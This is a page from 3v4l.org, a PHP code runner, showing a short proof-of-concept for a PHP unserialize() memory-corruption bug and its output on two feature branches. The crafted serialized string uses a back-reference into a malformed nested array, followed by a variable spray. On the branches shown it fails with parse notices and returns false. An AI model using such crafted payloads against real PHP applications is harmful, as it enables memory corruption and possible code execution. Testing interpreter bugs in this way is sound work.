3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:2:{i:0;i:1;i:1;i:2'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for git.master, git.master_jit
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/gDfuY on line 3 Notice: unserialize(): Error at offset 17 of 20 bytes in /in/gDfuY on line 9 Notice: unserialize(): Error at offset 52 of 53 bytes in /in/gDfuY on line 16 bool(false)
Output for rfc.property-hooks
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/gDfuY on line 3 Warning: unserialize(): Error at offset 17 of 20 bytes in /in/gDfuY on line 9 Warning: unserialize(): Error at offset 52 of 53 bytes in /in/gDfuY on line 16 bool(false)

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
40.07 ms | 401 KiB | 8 Q